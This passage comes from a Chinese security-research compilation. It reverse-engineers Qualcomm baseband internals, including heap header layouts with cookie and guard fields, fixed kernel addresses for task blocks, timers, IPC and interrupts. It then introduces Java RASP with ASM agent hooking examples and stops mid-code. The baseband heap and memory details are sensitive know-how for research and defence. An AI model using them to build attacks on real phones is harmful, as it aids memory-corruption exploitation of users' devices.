0x00 – CodeWord (“AA 73 EE 55”)

0x04 – Magic (“DB BD 5E E3”)

0x0C – Partition Nums (0xa)

每个分区表信息长度 0x1c，例如

0x00 – 0x10 partition name (0:FSBL)

0x10 – Partition start block information (0x0f)

0x14 – Partition block length (0x2)

这里定义的每个页是 0x800字节，每个块 block有 64个页，所以每个 block的长度是 0x20000字

节，所以根据这个信息我们就可以定位这些分区的物理偏移信息。

187

resource/5da07962e96ef7dbcd8a854f05e832e4fadbc420.png


安全研究 移动基带安全研究系列之一：概念和系统篇

例如 FSBL的物理偏移为 0x20000*0xf=0x1e0000

AMSS的物理偏移为 0x20000*0x16=0x2c0000

10.4.2 基带系统内存管理

当基带系统的安全信任启动链验证完成后，最后系统被 AMSS系统代码接管，AMSS系统定义了代

码执行的内核特权模式以及 AMSS 应用模式，设置页表（映射硬件外设地址到页表中）并且开启

MMU(内存管理单元)，在某些敏感的内存地址区域通过MPU的特性来进行保护，只有特定权限的应

用的可以访问，应用模式的代码想要进入内核态（例如 IPC消息发送），可以通过设置的特权中断指

令 SVC进入内核态，下图就是进入特权 syscall的中断向量表入口。
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通过初始化页表完成内核地址空间和外设硬件地址映射，开启 mmu，创建第一个 rootTask后切入

用户态空间，初始化用户态需要创建的应用与驱动，这里主要介绍应用层堆内存结构以及内存分配和

回收算法。

REX系统堆内存分两种类型：

Big chunk（大堆）

small heap（小堆）

大堆在不同应用初始化的时候指定内存的起始地址与长度，而且根据应用功能的不同，分配方式

也不同，小堆将会在大堆上进行分配使用，大堆由于给使用的应用不同，分配小堆的方式有所不同。

1. 大堆类型 1,内存连续，分配小堆的方式是顺序分配，前面是分配好的小堆，后面是连续的空闲

堆块，分配小堆只会在连续的空闲块上进行分配，例如前面多个分配好的小堆其中一个需要被

释放后，只是把这个小堆的属性标记为 freed，但由于它后面的小堆到连续的空闲块中间有标记

为已经分配属性，所以后续在分配小堆的过程中不会考虑这块已经被释放的内存，除非要释放

的小堆内存和连续的空闲块紧挨着，下一次分配内存时才会从这个已经标记为释放的内存上进

行分配，而是直接到后面的连续空闲块上进行分配，这样做的目的是为了分配和释放内存更高

效，虽然牺牲了一些空间，结构如下图。
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下图是这种 chunk上分配小堆的状态信息示例
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1. 大堆类型 2,（modem chunk）,也是一个连续内存区域，但是 chunk header在内存的底部，上部为

分配小堆区域，分配顺序也是从上往下分配，小堆的头部数据结构中会指向上一个已经分配好

的小堆，通过单向链表进行小堆内存的回溯，最上面的小堆回溯指针为空，但是它的内存分配

算法跟上面的不同，就算要被释放的小堆内存和空闲块不挨着，但是它任能在下一次的堆内存

申请中被重用，只要它的大小合适，而且小堆数据结构与类型 1也不同，基本结构如下图。
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Modem使用大堆结构示例

我们可以看到 chunk类型 1和 chunk类型 2上面分配的小堆内存结构稍有不同，数据结构如下：

Small heap1{

Uint32 size;//+0 分配内存空间的长度加上头部长度 0xc 字节

Uint8 mem_flag;//+0x4 内存属性标志，0 表示已分配，0xff 表示释放掉的内存

Uint8 extr_mem_flag;//+0x5 扩展内存属性标志，0 表示内存分配过，0xff 表示

//内存空间，没有被使用过
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Uint8 mem_extra_size;//+0x6 额外分配的内存长度，为了内存 0x10 字节对齐

//所额外增加的申请内存长度，必须小 0x10 字节

Uint8 mem_pad_char;//+0x7 填充字节 0xaa

Uint16 crc16_cookie;//+0x8 对传入的第三个参数的 crc16 计算的值

Uint16 mem_id;//0x0a 内存标识, 第四个参数传入

Uint8 mem_buffer[size-0x0c];//+0xc 用户使用内存 buffer

}

Small modem heap{

Uint32 size;// +0 分配内存空间的长度加上头部长度 0x10 字节

Uint32 *pre_alloc_ptr;//+4 指向上一个分配好的小堆内存头部指针

Uint8 client_id;//+8 申请内存的应用 id 值，modem 功能中定义了

//RRC/CM/SM/RLC/gstk/wms 等多个应用，这个 id 来标识申请内

//存的应用来自于哪里

Uint8 mem_flag;//+0x9 内存属性标志，0 表示分配了，1 表示释放了，

//3 表示未使用

Uint8 unknown_byte;//+0xa

Uint8 mem_guard_bits;//+0xb modem 内存保护标志 0x6a

Uint32 alloc_ret_addr;//+0xc 分配内存函数的下一条指令地址，目的是为了

//确定执行内存分配行为的精确地址

Uint8 mem_buf[0xsize-0x10]; //+0x10 供用户使用的内存 buffer

}

10.4.3 基带系统文件系统

由于篇幅问题，我会对 Qualcomm基带的文件系统 EFS单独写一篇详细的分析文章。

10.4.4 高通基带芯片定时器（Timer）

定时器是嵌入式芯片非常重要的组成部分，它在嵌入式操作系统的 CPU调度和定时任务执行，以及

精确的延时等待等操作中扮演着非常重要的角色，高通的基带芯片的定时器调度算法大体都差不太多，

我们基于 ARM1136架构的MDM6600基带芯片对定时器算法进行了深入分析。

MDM6600的定时器是通过 Sleep Timer控制器来实现的，它包含两个 16位的 Timer0和 Timer1，

以及一个 32位的 TimeTick的计数器 (counter)，它们的功能用途如下.

1．Timer0供 watchdog使用

2．Timer1供 3G的 wcdma的功能模块使用

3．TimeTick系统计数器，服务于系统的子任务模块创建的定时器任务的执行以及延时功能的使用
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Timer0应用于 watchdog功能中，Watchdog在实时嵌入式系统中扮演着非常重要的角色，它监控任

务的正常运行，监控的任务必须定时喂狗（feed dog），watchdog才认为你在正常工作，要不然就可能

会直接 reset系统，后续也会介绍它在基带里面具体监控的应用。

Timer1将会在 3G WCDMA应用中收发相关的定时中断中会详细介绍。

TimeTick是一个 32位的系统计数器，初始化后会从 0开始计数，计数到 0xfffffff后溢出到 0后重

新开始计数，主要功能如下：

1.执行定时任务

2.执行一次

3.周期性执行

4.执行延时功能

5.延时等待

TimeTick的时钟源为 32768Hz，这意味着这个计数器 1秒钟会计数 32768次，通过这个信息我们

可以大致计算出从 0计数到 0xffffffff需要 36个小时。

定时任务功能特性：

1.通过设置 TimeTick的 match value来决定计数器计数到这个值后产生一个中断，中断里面可以处

理相应的定时任务，以及设置新的 TimeTick match value。

2.所有的定时任务都会存储在定时任务列表中，提供定时任务的插入，删除，暂停，唤醒执行等功

能。

下图描绘了定时器任务执行的基本过程
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在基带系统中存在多个应用任务，每个任务的执行都是依赖内核的 CPU调度，常见的方式就是时

间片和优先级切换让各个不同的任务有机会得到执行，而某些任务在运行过程中的某个时机可能会创

建一个或者多个定时器任务，例如上图所示的任务 Task1创建的定时器任务 Timer1，Task2创建的定

时器任务 Timer2和 Timer3，处理这些任务的算法如下：

1.创建定时任务时，获取当前 TimeTick的计数

2.把延时换算法成计数，比如 1秒等于 32768次计数

3.把当前 timetick计数加上延时的计数值作为该定时任务中断触发的 match value

4.遍历所有定时任务，根据任务设置的定时任务中断触发的 match value大小排序插入到定时任务

列表

5.当 timetick的计数到达某个定时任务的Match value的时候产生中断，中断处理例程 ISR会通过

向 DPC（Deferred Procedure Calls）发送执行定时任务的消息去执行该定时任务的例程函数，如果只是

延时任务就不需要执行了，同时更新 timetick的下一次中断产生的 match value，并把这个定时任务从

定时任务列表中移除

如上图举例：

应用任务定时任务/MV

Task1 Timer1/M1

Task2 Timer2/M5 Timer3/M3

Task3 Timer4/M6

Task4 Timer5/M7

TaskN TimerN/M4

按照时间推进过程，这些定时任务执行需要设置的Match value来产生中断的顺序依次是：

M1 M4 M3 M5 M6 M7

所以在基带系统里面会有一个专们的定时器应用任务来管理维护其它应用任务产生的定时器任务

的调度
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10.4.5 任务管理和 IPC通信机制

上面提到基带系统从内核态切入到应用态会创建第一个 rootTask应用任务，这个任务有点类似 linux

系统里面的 init进程，rootTask接下来会创建应用权限很高的 DPC_task任务（负责高实时异步任务执

行），权限仅次于 IST（interrupt service threads,中断服务接管线程），然后是应用层的全局管理任务

main_task将会启动，接下来业务所需的各种驱动相关的初始化和通信业务逻辑任务将在 main_task任

务中得以创建，例如中断接管服务相关的 IST(interrupt Service Threads)，定时器业务相关的 timer_task，

qualcomm EFS文件系统相关的 fs_task，任务监控相关的 watchdog_task，以及 GSM/UMTS业务相关的

通信层面的各个任务。

每个任务被创建时，REX内核和用户态各自会维护一套数据结构，以及用户自定义的一套 TCB结

构：

内核态—>KTCB（Kernel Task Control Block）

用户态—>UTCB（User Task Control Block）

用户态—>REX_TCB(用户自定义 TCB结构)

在内核态，cpu 通过 KTCB 来管理调度所有的任务，以及管理用户态任务在切换时存储任务的

context信息。

内核态的 KTCB列表包含 1个 idle内核线程,8个 IRQ和 1个 FIQ内核线程任务 KTCB结构，以及

每一个用户任务 UTCB对应的在内核空间存储的 KTCB结构。

在用户态，每一个任务都会通过 UTCB结构存储任务信息供用户读写，并且该 UTCB结构也会映

射到内核空间供内核读写，而用户态的 REX_TCB是供用户自定义的数据结构，用户可以自定义一些

方便业务间通信的数据结构。

任务的几个重要的特性：
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1.内核态读取 0xf0000008地址存储着当前活动任务的 KTCB指针

2.内核态 0xf001e000存储着所有 KTCB结构的列表

3.在用户态读取 0xff000ff0地址值可以获取当前活动任务的 UTCB指针

KTCB，UTCB和用户定义的 TCB结构关系如下图：

从上图可知，UTCB结构通过内存映射的方式会被内核态和用户态共同读写，utcb通过 timetick计

数器来记录任务使用了多少 cpu时间，为任务调度提供了很好的判断条件。

每个被创建的任务都包含一些信息，初始化时会存储在 UTCB结构和用户定义的 TCB结构中:

1.任务的执行函数地址

2.任务执行函数参数

3.堆栈起始地址

4.堆栈的长度

5.任务优先级别

6.存储用户 tcb地址

7.任务名称

任务创建函数定义类似结构如下，不同的版本可能会有一些变形：

Void createTask(void utcb,void task_func_ptr,uint32 stack_size,void stack_buttom,void stack_top,uint32

task_priority，void pararm)

用户定义 tcb结构是一个双向链表结构，每个用户 tcb会把高于自己优先的任务插入到前链，低于

自己优先级的任务插入到后链，所有的任务中中断接受任务中的 FIQ任务的优先级是最高的，它用于

快速处理来自于 fiq中断请求。

下图是枚举出的部分运行的任务列表：
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所有的任务通过优先级的高低，利用双向链表链接起来，如下图，FIQ任务具有最高优先级。

而 sleep任务具有最低运行优先级。

用户态的任务创建和运行流程如下图：
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用户态任务运行特性：

1.每个被创建后的任务会被调度运行起来后，直至到等待信号的循环，阻塞接收消息，此时交出

cpu执行权，切换执行任务。

2.当某个任务接收到消息后，任务等待信号的循环返回，根据接受到信号去处理相应的例程，然

后清除接受到的信号值，继续新一轮的信号等待。

3.任务通过设置接受信号的掩码来设置多个信号处理例程，每个任务最多支持设置 32个信号接受

值。

4.信号接受值和信号接受掩码会在 utcb结构中设置。

任务调度机制：

1.中断发生时，cpu将调度到 IST接管中断处理，因为 IST的优先级比较高

2.当任务等待消息阻塞时，任务主动交出 cpu控制权

3.应用任务都在等待时，rootTask和Main Task接管 CPU，类似 idle loop

4.当各个任务都有接受到消息时，根据任务的优先级和 cpu使用时间进行调度

如下图系统初始化过程中的任务的切换过程以及 CPU使用时间统计。
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我们可以看到，在系统初始化过程中，各个任务的初始化过程，cpu使用时间都差不太多，因为初

始化完了都处于阻塞状态了，只有 rootTask和Main Task占有大量的 CPU时间，因为 rootTask需要负

责大量的 KTCB切换的通知操作，而且Main Task主动初始化那些应用任务。

10.4.6 IPC任务间通信

IPC通信是多任务协作通知和同步数据，非常重要的系统机制，在实时操作系统中应用广泛，对于无

线通信复杂的状态机制以及低延时同步处理，IPC通信起到了至关重要的作用。
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从上图我们可知每个运行的任务都有独立运行环境，有自己的堆栈空间，当不同任务之间进行数

据交换和同步的时候，这时候就需要用到 IPC机制了，我们把用户任务的 rex_tcb结构作为任务的唯

一标示，用它与之不同的任务进行通信，这里用到了很重要的信号通知和等待信号通知的机制，从上

面我们可知每个任务可以定义最多 32个信号量来区分接收到的不同信号，然后根据接受到的不同信

号进行相应的处理。

例如 A任务需要告之 B任务，是时候处理 B任务里面的某个分支逻辑时，A只需要设置 B任务

rex_tcb结构里面相应的信号值即可，当 B任务被调度起来后的接受信号等待函数会返回取出 A设置

的信号值，然后 B任务作相应的处理，该 IPC通知机制在基带系统里面应用广泛，后续我也会提到。

10.4.7 中断管理

基带系统在系统初始化过程中会初始化中断控制器，注册相应的中断服务例程，设置中断优先级，并

且生效中断响应，在高通的MDM6600基带系统中设置了 8个响应 IRQ的 IST任务，和 1个响应 FIQ

的 IST任务，优先级依次提升，FIQ的 IST任务具有最高的优先级别，因为在中断处理过程，可能会

有更高优先级的中断产生，这时需要有高优先级的 IST来接管响应来提升中断响应的实时性，由于中

断是由硬件产生，而 IST在应用态，所以中断处理过程如下。

1.硬件中断产生（物理层）

2.判断是否是 generic irq还是 fiq（物理层）

3.进入到 irq exception或者 fiq exception向量表（内核）

4.投递到相应中断处理分发器（内核）

5.查询 IRQ和 FIQ的内核 KTCB状态是否空闲（内核）

6.通过 KTCB结构找到相应的 IST任务（内核）

7.相应的 IST接管中断，锁定该 IST，并查询中断号对应的 ISR（应用层）

8.执行 ISR后，清除中断状态，解锁 IST，等待新的中断响应（应用层）

10.5 结语

本文章的目的主要是为了对高通的基带系统有一个体系化的了解，操作系统作为承载业务系统的基础

设施，了解其运行原理对于研究上层业务会有很大的帮助，由于高通的的基带系统非常封闭，研究需

要大量的逆向工程的工作，记录了大量的笔记，无法一一整理发出，所以也有可能会有一些遗漏和不

足，如果有熟悉的同学，也希望能够指出有错误的地方，便于改正，接下来系列的研究文章将针对高

通基带对于 3GPP定义的 GSM/UMTS/LTE，以及 5G的实现上，并且在研究过程中，也会对比三星和

华为在基带方面的实现和安全问题，并且挖掘其安全攻击面。
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本篇将近一个月对 rasp的研究成果进行汇总，具体讨论 RASP的优劣势以及一些个人的理解和看

法。

11.1 0x01概述

RASP是 Runtime application self-protection的缩写，中文翻译为应用程序运行时防护，其与WAF等传

统安全防护措施的主要区别于其防护层级更加底层—---在功能调用前或调用时能获取访问到当前方法

的参数等信息，根据这些信息来判定是否安全。

RASP与传统的基于流量监测的安全防护产品来说，优势点在于可以忽略各种绕过流量检测的攻

击方式（如分段传输，编码等），只关注功能运行时的传参是否会产生安全威胁。简单来说，RASP不

看过程，只看具体参数导致方法实现时是否会产生安全威胁。简单类比一下，RASP就相当于应用程

序的主防，其判断是更加精准的。

虽然 RASP有很多优势，但是由于其本身的实现也导致了很多问题使其难以推广：

1.侵入性过大。对于 JAVA的 RASP来说，它的实现方式是通过 Instrumentation编写一个 agent，在

agent中加入 hook点，当程序运行流程到了 hook点时，将检测流程插入到字节码文件中，统一进入

JVM中执行。在这里如果 RASP本身出现了什么问题的话，将会直接对业务造成影响。

2.效率问题。由于需要将检测流程插入到字节码文件中，这样会在运行时产生大量不属于业务流

程本身的逻辑，这样会增加业务执行的流程，对业务效率造成一定的影响。

3.开发问题。针对不同的语言，RASP底层的实现是不一样的，都需要重新基于语言特性进行专门

的开发，开发的压力很大。

4.部署问题。以 Java RASP来举例子，Java RASP有两种部署方式，一种需要在启动前指定 agent

的位置，另一种可以在运行时用 attach的方式进行部署，但是他们都存在不同的问题。

在启动前指定 agent的位置就以为着在进行部署时需要重启服务，会影响到正常的业务。

在运行时进行 attach部署时，当后期 RASP进行版本迭代重新 attach时，会产生重复添加代码的情

况（由于 JVM本身机制的问题，基本无法将修改的字节码重新转换到运行时的字节码上，所以没办法

动态添加代理解决该问题）。

目前 RASP的主方向还是 Java RASP，受益于 JVMTI，现在的 Java RASP是很好编写的，效果也是

比较错的。同时也受限于 JVMTI，Java RASP的技术栈受到了一定的限制，很难在具体实现上更进一

步，只能在 hook点和其他功能上进行完善。
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跳出乙方视角来审视 RASP，其最好的实践场景还是在甲方企业内部，从某个角度来说 RASP本来

就是高度侵入业务方代码的一种防护措施，在纷繁复杂的业务场景中，只有甲方根据业务进行定制化

开发才能达到 RASP的最高价值，如果乙方来做很容易变成 ‘‘纸上谈兵’’的产品。

下面将以 Java RASP 为核心对 RASP 技术进行详细的阐述，并用跟踪源码的方式来解析百度

OpenRASP的具体实现方式。

11.2 0x02 Java RASP技术栈

Java RASP核心技术栈：

Instrumentation通过 JVMTI实现的 Agent，负责获取并返回当前 JVM虚拟机的状态或转发控制命

令。

字节码操作框架，用于修改字节码（如 ASM、Javassist等）

其余技术栈：

Log4j日志记录

插件系统（主要是用于加载检测规则）

数据存储及转发（转发到 soc平台或自动封禁平台进行封禁）等

11.3 0x03 Java RASP实现方式

编写 Java RASP主要分为两部分：

Java Agent的编写

利用字节码操作框架（以下都以 ASM来举例）完成相应 hook操作

11.3.1 3.1 Java Agent简介

在 Java SE 5及后续版本中，开发者可以在一个普通 Java程序运行时，通过-javaagent参数指定一个特

定的 jar文件（该文件包含 Instrumentation代理）来启动 Instrumentation的代理程序，这个代理程序可

以使开发者获取并访问 JVM运行时的字节码，并提供了对字节码进行编辑的操作，这就意味着开发

者可以将自己的代码注入，在运行时完成相应的操作。在 Java SE 6后又对改功能进行了增强，允许开

发者以用 Java Tool API中的 attach的方式在程序运行中动态的设置代理类，以达到 Instrumentation的

目的。而这两个特性也是编写 Java RASP的关键。

javaagent提供了两种模式：

premain：允许在 main开始前修改字节码，也就是在大部分类加载前对字节码进行修改。

agentmain：允许在 main执行后通过 com.sun.tools.attach的 Attach API attach到程序运行时中，通

过 retransform的方式修改字节码，也就是在类加载后通过类重新转换（定义）的方式在方法体中对字

节码进行修改，其本质还是在类加载前对字节码进行修改。

这两种模式除了在 main开始前后调用的区别外，还有很多细枝末节的区别，这一点就导致了两种

模式的泛用性不同：
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agent运作模式不同：premain相当于在 main前类加载时进行字节码修改，agentmain是 main后在

类调用前通过重新转换类完成字节码修改。可以发现他们的本质都是在类加载前完成的字节码修改，

但是 premain可以直接修改或者通过 redefined进行类重定义，而 agentmian必须通过 retransform进行

类重新转换才能完成字节码修改操作。

部署方式不同：由于 agent运作模式的不同，所以才导致 premain需要在程序启动前指定 agent，而

agentmain需要通过 Attach API进行 attach。而且由于都是在类加载前进行字节码的修改，所以如果

premain模式的 hook进行了更新，就只能重启服务器，而 agentmain模式的 hook如果进行了更新的话，

需要重新 attach。

因为两种模式都存在一定的限制，所以在实际运用中都会有相应的问题：

premain：每次修改需要重启服务。

agentmain：由于 attach的运行时中的进程，因 JVM的进程保护机制，禁止在程序运行时对运行时

的类进行自由的修改，具体的限制如下：父类应为同一个类

实现的接口数要相同

类访问符要一致

字段数和字段名必须一致

新增的方法必须是 private static/final的

可是删除修改方法

这样的限制是没有办法用代理模式的思路来避免重复插入的。同时为了实现增加 hook点的操作

我们必须将自己的检测字节码插入，所以只能修改方法体。这样一来如果使用 agentmain进行重复的

attach，会造成将相同代码多次插入的操作，会产生重复告警，极大的增加业务压力。

单单针对 agentmain所出现的重复插入的问题，有没有方式能直接对运行时的 java类做字节码插

入呢？其实是有的，但是由于各种原因，其会较大的增加业务压力所以这里不过多叙述，想要了解详

情的读者，可以通过搜索 Hotswap和 DCE VM来了解两种不同的热部署方式。

11.3.2 3.2 ASM简介

ASM是一个 Java字节码操作框架，它主要是基于访问者模式对字节码完成相应的增删改操作。想要

深入的理解 ASM可以去仔细阅读 ASM的官方文档，这里只是简单的介绍一下 ASM的用法。

在开始讲 ASM用法前，需要简单的介绍一下访问者模式，只有清楚的访问者模式，才能理解 ASM

为什么要这么写。

3.2.1访问者模式

在面向对象编程和软件工程中，访问者模式是一种把数据结构和操作这个数据结构的算法分开的

模式。这种分离能方便的添加新的操作而无需更改数据结构。

实质上，访问者允许一个类族添加新的虚函数而不修改类本身。但是，创建一个访问者类可以实

现虚函数所有的特性。访问者接收实例引用作为输入，使用双重调用实现这个目标。

上面说的的比较笼统，直接用代码来说话：
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package com.lucifaer.ASMDemo;

interface Person {

public void accept(Visitor v) throws InterruptedException;

}

class Play implements Person{

@Override

public void accept(Visitor v) throws InterruptedException {

v.visit(this);

}

public void play() throws InterruptedException {

Thread.sleep(5000);

System.out.println("This is Person’s Play!");

}

}

interface Visitor {

public void visit(Play p) throws InterruptedException;

}

class PersonVisitor implements Visitor {

@Override

public void visit(Play p) throws InterruptedException {

System.out.println("In Visitor!");

long start_time = System.currentTimeMillis();

p.play();

long end_time = System.currentTimeMillis();

System.out.println("End Visitor");

System.out.println("Spend time: " + (end_time-start_time));

}

}
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public class VisiterMod {

public static Person p = new Play();

public static void main(String[] args) throws InterruptedException {

PersonVisitor pv = new PersonVisitor();

p.accept(pv);

}

}

在这个例子中做了以下的工作:

1. 添加 void accept(Visitor v)到 Person类中

2. 创建 visitor基类，基类中包含元素类的 visit()方法

3. 创建 visitor派生类，实现基类对 Person的 Play的操作

4. 使用者创建 visitor对象，调用元素的 accept方法并传递 visitor实例作为参数

可以看到在没有改变数据结构的情况下只是实现了 Visitor类就可以在 visit方法中自行加入代码实

现自定义逻辑，而不会影响到原本 Person接口的实现类。

结果为：

3.2.2 ASM的访问者模式

在 ASM中的访问者模式中，ClassReader类和 MethodNode类都是被访问的类，访问者接口包括：

ClassVistor、AnnotationVisitor、FieldVistor和MethodVistor。访问者接口的方法集以及优先顺序可以在

下图中进行查询：

206

resource/10f4d084343f96c86d8a54d2adf305f446190ca4.png


安全研究 浅谈 RASP

通过该图可以清晰的看出调用顺序，对于新手来说可以简单的理解为下面这样的调用顺序：

需要访问类，所以要声明 ClassReader，来 ‘‘获取’’类。

如果需要对类中的内容进行修改，就需要声明 ClassWriter它是继承于 ClassReader的。
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然后实例化 ‘‘访问者”ClassVisitor来进行类访问，至此就以 ‘‘访问者’’的身份进入了类，你可以进

行以下工作：如果需要访问注解，则实例化 AnnotationVisitor

如果需要访问参数，则实例化 FieldVisitor

如果需要访问方法，则实例化MethodVisitro

每种访问其内部的访问顺序可以在图上自行了解。

ClassReader调用 accept方法

完成整个调用流程

11.3.3 3.3实际例子

在具体展示两种模式的例子前，先补充一下 agent的运行条件，无论用那种模式写出来的 agent，都需

要将 agent打成 jar包，同时在 jar包中应用META-INF/MANIFEST.MF中指定 agent的相关信息，下面

是个例子：

Manifest-Version: 1.0

Can-Redefine-Classes: true

Can-Retransform-Classes: true

Premain-Class: com.lucifaer.javaagentLearning.agent.PreMainTranceAgent

Agent-Class: com.lucifaer.javaagentLearning.agent.AgentMainTranceAgent

Premain-Class 和 Agent-Class 是用来配置不同模式的 agent 实现类，Can-Redefine-Classes 和 Can-

Retransform-Classes是用来指示是否允许进行类重定义和类重新转换，这两个参数在一定的情况下决

定了是否能在 agent中利用 ASM对加载的类进行修改。

3.3.1 premain模式例子

下面用园长的一个 demo来展示如何利用 premain方式进行表达式监控。完整代码可以看这里，也

可以看我整理后的代码

public class Agent implements Opcodes {

private static List<MethodHookDesc> expClassList = new ArrayList<MethodHookDesc>();

static {

expClassList.add(new MethodHookDesc("org.mvel2.MVELInterpretedRuntime", "parse",

"()Ljava/lang/Object;"));

expClassList.add(new MethodHookDesc("ognl.Ognl", "parseExpression",

"(Ljava/lang/String;)Ljava/lang/Object;"));

expClassList.add(new MethodHookDesc("org.springframework.expression.spel.standard.SpelExpression", "<init>",

"(Ljava/lang/String;Lorg/springframework/expression/spel/ast/SpelNodeImpl;" +

"Lorg/springframework/expression/spel/SpelParserConfiguration;)V"));
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}

public static void premain(String agentArgs, Instrumentation instrumentation) {

System.out.println("agentArgs : " + agentArgs);

instrumentation.addTransformer(new ClassFileTransformer() {

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

final String class_name = className.replace("/", ".");

for (final MethodHookDesc methodHookDesc : expClassList) {

if (methodHookDesc.getHookClassName().equals(class_name)) {

final ClassReader classReader = new ClassReader(classfileBuffer);

ClassWriter classWriter = new ClassWriter(classReader, ClassWriter.COMPUTE_MAXS);

final int api = ASM5;

try {

ClassVisitor classVisitor = new ClassVisitor(api, classWriter) {

@Override

public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {

final MethodVisitor methodVisitor = super.visitMethod(i, s, s1, s2, strings);

if (methodHookDesc.getHookMethodName().equals(s) && methodHookDesc.getHookMethodArgTypeDesc().equals(s1)) {

return new MethodVisitor(api, methodVisitor) {

@Override

public void visitCode() {

if ("ognl.Ognl".equals(class_name)) {

methodVisitor.visitVarInsn(Opcodes.ALOAD, 0);

}else {

methodVisitor.visitVarInsn(Opcodes.ALOAD, 1);

}

methodVisitor.visitMethodInsn(

Opcodes.INVOKESTATIC, Agent.class.getName().replace(".", "/"), "expression", "(Ljava/lang/String;)V", false

);

}

};

}
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return methodVisitor;

}

};

classReader.accept(classVisitor, ClassReader.EXPAND_FRAMES);

classfileBuffer = classWriter.toByteArray();

}catch (Throwable t) {

t.printStackTrace();

}

}

}

return classfileBuffer;

}

});

}

public static void expression(String exp_demo) {

System.err.println("---------------------------------EXP-----------------------------------------");

System.err.println(exp_demo);

System.err.println("---------------------------------调用链---------------------------------------");

StackTraceElement[] elements = Thread.currentThread().getStackTrace();

for (StackTraceElement element : elements) {

System.err.println(element);

}

System.err.println("-----------------------------------------------------------------------------");

}

}

这里采用的是流式写法，没有将其中的 ClassFileTransformer抽出来。

整个流程简化如下：

根据 className来判断当前 agent拦截的类是否是需要 hook的类，如果是，则直接进入 ASM修改

流程。
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在 ClassVisitor中调用 visitMethod方法去访问 hook类中的每个方法，根据方法名判断当前的方法

是否是需要 hook的方法，如果是，则调用 visitCode方法在访问具体代码时获取方法的相关参数（这

里是获取表达式），并在执行逻辑中插入 expression方法的调用，在运行时将执行流经过新添加的方

法，就可以打印出表达式以及调用链了。

效果如下：

3.3.2 agentmain模式例子

下面用一个我自己写的例子来说一下如何利用 agentmain模式增加执行流。

AgentMain.java

public class AgentMain {

public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {

// for (Class clazz : inst.getAllLoadedClasses()) {

// System.out.println(clazz.getName());

// }

CustomClassTransformer transformer = new CustomClassTransformer(inst);

transformer.retransform();

}
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}

CustomClassTransformer.java

public class CustomClassTransformer implements ClassFileTransformer {

private Instrumentation inst;

public CustomClassTransformer(Instrumentation inst) {

this.inst = inst;

inst.addTransformer(this, true);

}

@Override

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

System.out.println("In Transform");

ClassReader cr = new ClassReader(classfileBuffer);

ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);

ClassVisitor cv = new ClassVisitor(Opcodes.ASM5, cw) {

@Override

public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {

// return super.visitMethod(i, s, s1, s2, strings);

final MethodVisitor mv = super.visitMethod(i, s, s1, s2, strings);

if ("say".equals(s)) {

return new MethodVisitor(Opcodes.ASM5, mv) {

@Override

public void visitCode() {

super.visitCode();

mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");

mv.visitLdcInsn("CALL " + "method");

mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);

}

};

}

return mv;

}

};
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cr.accept(cv, ClassReader.EXPAND_FRAMES);

classfileBuffer = cw.toByteArray();

return classfileBuffer;

}

public void retransform() throws UnmodifiableClassException {

LinkedList<Class> retransformClasses = new LinkedList<Class>();

Class[] loadedClasses = inst.getAllLoadedClasses();

for (Class clazz : loadedClasses) {

if ("com.lucifaer.test_agentmain.TestAgentMain".equals(clazz.getName())) {

if (inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {

inst.retransformClasses(clazz);

}

}

}

}

}

可以看到 agentmain 模式和 premain 的大致写法是没有区别的，最大的区别在于如果想要利用

agentmain模式来对运行后的类进行修改，需要利用 Instrumentation.retransformClasses方法来对需要修

改的类进行重新转换。

想要 agentmain工作还需要编写一个方法来利用 Attach API来动态启动 agent：

public class AttachAgent {

public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {

List<VirtualMachineDescriptor> list = VirtualMachine.list();

for (VirtualMachineDescriptor vmd : list) {

if (vmd.displayName().endsWith("TestAgentMain")) {

VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());

virtualMachine.loadAgent("/Users/Lucifaer/Dropbox/Code/Java/agentmain_test/out/artifacts/agentmain_test_jar/agentmain_test.jar", "Attach!");

System.out.println("ok");

virtualMachine.detach();

}

}

}

}
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效果如下：

3.3.3 agentmain坑点

这里有一个坑点也导致没有办法在 agentmain模式下动态给一个类添加一个新的方法，如果尝试添

加一个新的方法就会报错。下面是我编写利用 agentmain模式尝试给类动态增加一个方法的代码：

public class DynamicClassTransformer implements ClassFileTransformer {

private Instrumentation inst;

private String name;

private String descriptor;

private String[] exceptions;

public DynamicClassTransformer(Instrumentation inst) {

this.inst = inst;

inst.addTransformer(this, true);

}

@Override

public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

System.out.println("In transformer");

ClassReader cr = new ClassReader(classfileBuffer);

ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);

ClassVisitor cv = new ClassVisitor(Opcodes.ASM5, cw) {

@Override

public MethodVisitor visitMethod(int i, String s, String s1, String s2, String[] strings) {

final MethodVisitor mv = super.visitMethod(i, s, s1, s2, strings);

if ("say".equals(s)) {

name = s;

descriptor = s1;

exceptions = strings;

}
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return mv;

}

};

// ClassVisitor cv = new DynamicClassVisitor(Opcodes.ASM5, cw);

cr.accept(cv, ClassReader.EXPAND_FRAMES);

MethodVisitor mv;

mv = cw.visitMethod(Opcodes.ACC_PUBLIC, "say2", "()V", null, null);

mv.visitCode();

Label l0 = new Label();

mv.visitLabel(l0);

mv.visitLineNumber(23, l0);

mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", "out", "Ljava/io/PrintStream;");

mv.visitLdcInsn("2");

mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);

Label l1 = new Label();

mv.visitLabel(l1);

